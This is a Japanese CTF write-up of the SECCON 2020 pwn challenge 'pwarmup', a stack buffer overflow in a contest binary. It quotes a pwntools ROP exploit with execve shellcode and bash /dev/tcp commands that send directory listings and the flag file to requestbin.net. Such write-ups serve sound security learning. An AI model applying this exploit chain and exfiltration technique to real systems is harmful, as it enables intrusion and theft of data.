SECCON 2020 の pwn 問題を復習する①
Sat Oct 17 2020
10/10-11 で開催された SECCON 2020 の pwn 問を復習します。
pwarmup
問題
main.c#include <unistd.h> #include <stdio.h> int main(void) { char buf[0x20]; puts("Welcome to Pwn Warmup!"); scanf("%s", buf); fclose(stdout); fclose(stderr); } __attribute__((constructor)) void setup(void) { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); setvbuf(stderr, NULL, _IONBF, 0); alarm(60); }
コンテスト中に試したこと
まず最初に alarm 機能はデバッグの邪魔なので、dhex を使って NOP で書き換えました。 pwntools で実行ファイルを確認すると、
Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x400000) RWX: Has RWX segments
という感じでなんでもできそう。 なので、scanf で /bin/sh を呼び出すコードを rsp 上に書き込んで call rsp の命令箇所に飛べばいいと考えた。 つまり scanf で書き込んだあとの rbp を
$rbp: AAAAAAAA /* leave で $rbp に入る値、なんでもいい (ちなみに leave で $rsp に $rbp+8 が入る) */ $rbp+8: address to call rsp /* return で飛ぶアドレスを指定、今回は call rsp のアドレス*/ $rbp+16: shellcode /* return の後で $rsp が指すアドレス、ここに shellcode をおく */
としてあげればいい。 しかし、rp++ を使ってみると、
rp-lin-x64 -f ./chall --rop=1 --unique | grep "rsp" 0x00400562: add rsp, 0x08 ; ret ; (2 found) 0x004007ca: call qword [rsp+rbx*8] ; (1 found) 0x004007c5: test byte [rcx+rcx*4-0x11], 0x00000041 ; call qword [rsp+rbx*8] ; (1 found)
となっており、そもそも call rsp の命令が存在せず (call [rsp] はあったが)、手詰まりとなってしまった…
復習
他の方々の writeup を眺めた。
- https://qiita.com/kusano_k/items/0ec2a09483eaa7b900d1
- scanf を使って適当なアドレスにシェルコードを書き込み、そのアドレスを呼ぶ
- http://yuta1024.hateblo.jp/entry/2020/10/11/184928
- rax に alarm 経由でシェルコードを書き込み、 call rax を実行
前者のほうが汎用性が高そうなので、そっちを重点的に見た。 以下のコードは https://qiita.com/kusano_k/items/0ec2a09483eaa7b900d1#pwarmup-warmup の引用。
attack.pyfrom pwn import * s = remote("pwn-neko.chal.seccon.jp", 9001) elf = ELF("chall") context.binary = elf rop = ROP(elf) # scanf("%s", 0x600000) rop.call(0x4005c0, [next(elf.search(b"%s")), 0x600000]) rop.call(0x600000) s.sendlineafter( "Welcome to Pwn Warmup!\n", b"a"*0x28+rop.chain()) # http://shell-storm.org/shellcode/files/shellcode-806.php s.sendline( "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53" "\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05") s.interactive()
pwntools の ROP を使うとこんな簡潔に書けるのか… 0x4005c0 は scanf のアドレスで、 main 関数内の call sym.imp.__isoc99_scanf のアドレスではなく、 sym.imp.__isoc99_scanf のアドレス。
一応 rop.chain() の内容を gdb を使って確認すると、
gdb-peda$ x/16x $rbp 0x7fffffffe2a0: 0x41414141 0x41414141 0x004007e3 0x00000000 0x7fffffffe2b0: 0x0040081b 0x00000000 0x004007e1 0x00000000 0x7fffffffe2c0: 0x00600000 0x00000000 0x61616169 0x6161616a 0x7fffffffe2d0: 0x004005c0 0x00000000 0x00600000 0x00000000
となっていた。やっていることは、
- 0x4007e3 (pop rdi) に飛び、 0x40081b (%s) を rdi に代入
- 0x4007e1 (pop rsi) に飛び、 0x600000 を rsi に代入
- 0x4007e2 (pop r15) に rip が移り、 0x6161... のダミーな変数を r15 に代入
- 0x4005c0 に飛び scanf、そこで shellcode を 0x600000 に格納
- ret で 0x600000 へ、 shellcode の実行
という流れである。 ROP 便利だ… (よく忘れるのでメモ、leave は mov rsp, rbp pop rbp の組み合わせ、 ret は pop したアドレスに JMP https://vanya.jp.net/os/x86call/)
これでシェルを奪うことができる。 しかし、ここからが難しいところらしく (自分はここにすらたどり着けなかったが)、 stdout が閉じられているので ls などを叩いても結果が返ってこない。
http://yuta1024.hateblo.jp/entry/2020/10/11/184928 によると、 bash には /dev/tcp/${host}/${port} に書き込むことで nc と同等のことができる機能があるらしい (https://qiita.com/kusano_k/items/0ec2a09483eaa7b900d1#pwarmup-warmup によると、 nc が入っていないっぽくて ls -al | nc ${host} ${port} とかはできないらしい)。 requestbin.net という http request を記録できる便利なツールがあるらしいのでそれを使ってみる。 使い方は https://www.softantenna.com/wp/webservice/request-bin/ を参考にしました。
リクエストに使うコマンドは http://yuta1024.hateblo.jp/entry/2020/10/11/184928 を参考にして↓のようにしたら、うまく動きました。
bash exec 3<> /dev/tcp/requestbin.net/80 echo -e "GET /r/TOKEN_NAME HTTP/1.1\nHost: requestbin.net\nX-CTF: $(ls|base64)\nConnection: close\n" >&3 cat <&3
これを奪ったシェルで入力し、 http://requestbin.net/r/TOKEN_NAME?inspect をみると、 X-CTF に ls|base64 の結果が出力されている: Y2hhbGwKZmxhZy1lNjk1MWRmMDQwMGFkZDZhNmI1YmUxMWYyNWI4MGNlYS50eHQKcmVkaXIuc2gK
echo "Y2hhbGwKZmxhZy1lNjk1MWRmMDQwMGFkZDZhNmI1YmUxMWYyNWI4MGNlYS50eHQKcmVkaXIuc2gK" | base64 -d chall flag-e6951df0400add6a6b5be11f25b80cea.txt redir.sh
flag-*.txt が該当するファイルと思われるので、 cat で覗く。
bash exec 3<> /dev/tcp/requestbin.net/80 echo -e "GET /r/TOKEN_NAME HTTP/1.1\r\nHost: requestbin.net\r\nX-CTF: $(cat flag-e6951df0400add6a6b5be11f25b80cea.txt)\r\nConnection: close\r\n\r\n" >&3 cat <&3
すると、フラグが見れた。
SECCON{1t's_g3tt1ng_c0ld_1n_j4p4n_d0n't_f0rget_t0_w4rm-up}
学んだこと
- pwntools の ROP
- /dev/tcp
- ファイルディスクリプタ (/dev/fd/*)
- requestbin.net
追記
https://ptr-yudai.hatenablog.com/entry/2020/10/11/213127#pwn-123pts-pwarmup-63-solves の writeup (作者想定解?) を見つけました。 /dev/tcp/ など使わなくても、 ls>&0 のように標準入力に出力するようにする (?) と実行結果が表示されました。
参考
https://qiita.com/kusano_k/items/0ec2a09483eaa7b900d1 http://yuta1024.hateblo.jp/entry/2020/10/11/184928 https://ptr-yudai.hatenablog.com/entry/2020/10/11/213127#pwn-123pts-pwarmup-63-solves https://vanya.jp.net/os/x86call/